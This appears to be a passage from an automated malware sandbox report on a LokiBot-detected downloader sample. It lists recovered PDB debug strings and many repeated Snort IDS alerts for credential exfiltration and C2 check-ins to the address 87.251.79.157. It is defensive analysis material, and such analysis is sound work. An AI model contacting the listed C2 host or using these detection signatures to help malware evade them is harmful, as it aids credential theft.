Source:	Binary string: System.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000008.00000003.271165162.0000000003386000.00000004.00000001.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: WLDP.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: clrjit.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: rasman.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb$ source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: msvcr120_clr0400.i386.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: ncryptsslp.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: jVisualBasic.pdb source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: version.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: onfiguration.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: wintrust.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: ore.ni.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: System.pdb source: WerFault.exe, 00000008.00000003.283574346.0000000005678000.00000004.00000001.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: ore.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: System.Windows.Forms.pdbl source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: System.Windows.Forms.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdbT3?l source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: psapi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.ni.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb0 source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: cldapi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Core.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: mscoreei.pdb source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000008.00000003.271182721.0000000003398000.00000004.00000001.sdmp
Source:	Binary string: System.Core.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rtutils.pdbx source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb` source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: combase.pdbk source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: System.Core.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Windows.Forms.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: .pdbJ source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: OneCoreUAPCommonProxyStub.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdbk source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: edputil.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Windows.Forms.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49696 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49696 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49696 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.5:49696 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49697 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49697 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49697 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.5:49697 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49698 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49698 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49698 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49698 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49698
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49699 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49699 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49699 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49699 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49699
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49700 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49700 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49700 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49700 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49700
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49701 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49701 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49701 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49701 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49701
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49702 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49702 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49702 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49702 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49702
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49703 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49703 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49703 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49703 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49703
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49704 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49704 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49704 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49704 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49706 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49706 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49706 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49706 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49706
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49707 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49707 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49707 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49707 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49707
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49708 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49708 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49708 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49708 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49708
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49709 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49709 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49709 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49709 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49709
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49710 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49710 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49710 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49710 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49710
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49711 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49711 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49711 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49711 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49711
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49712 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49712 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49712 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49712 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49712
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49713 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49713 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49713 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49713 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49713
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49714 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49714 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49714 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49714 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49714
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49715 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49715 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49715 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49715 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49715
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49716 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49716 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49716 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49716 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49716
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49717 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49717 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49717 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49717 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49717
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49718 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49718 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49718 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49718 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49718
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49719 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49719 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49719 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49719 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49719
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49720 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49720 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49720 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49720 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49720
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49721 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49721 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49721 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49721 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49721
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49722 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49722 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49722 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49722 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49722
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49723 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49723 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49723 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49723 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49723
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49724 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49724 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49724 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49724 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49724
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49725 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49725 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49725 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49725 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49725
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49726 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49726 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49726 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49726 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49726
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49727 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49727 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49727 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49727 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49727
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49728 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49728 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49728 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49728 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49728
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49729 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49729 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49729 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49729 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 87.251.79.157:80 -> 192.168.2.5:49729
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49730 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49730 -> 87.251.79.157:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49730 -> 87.251.79.157:80
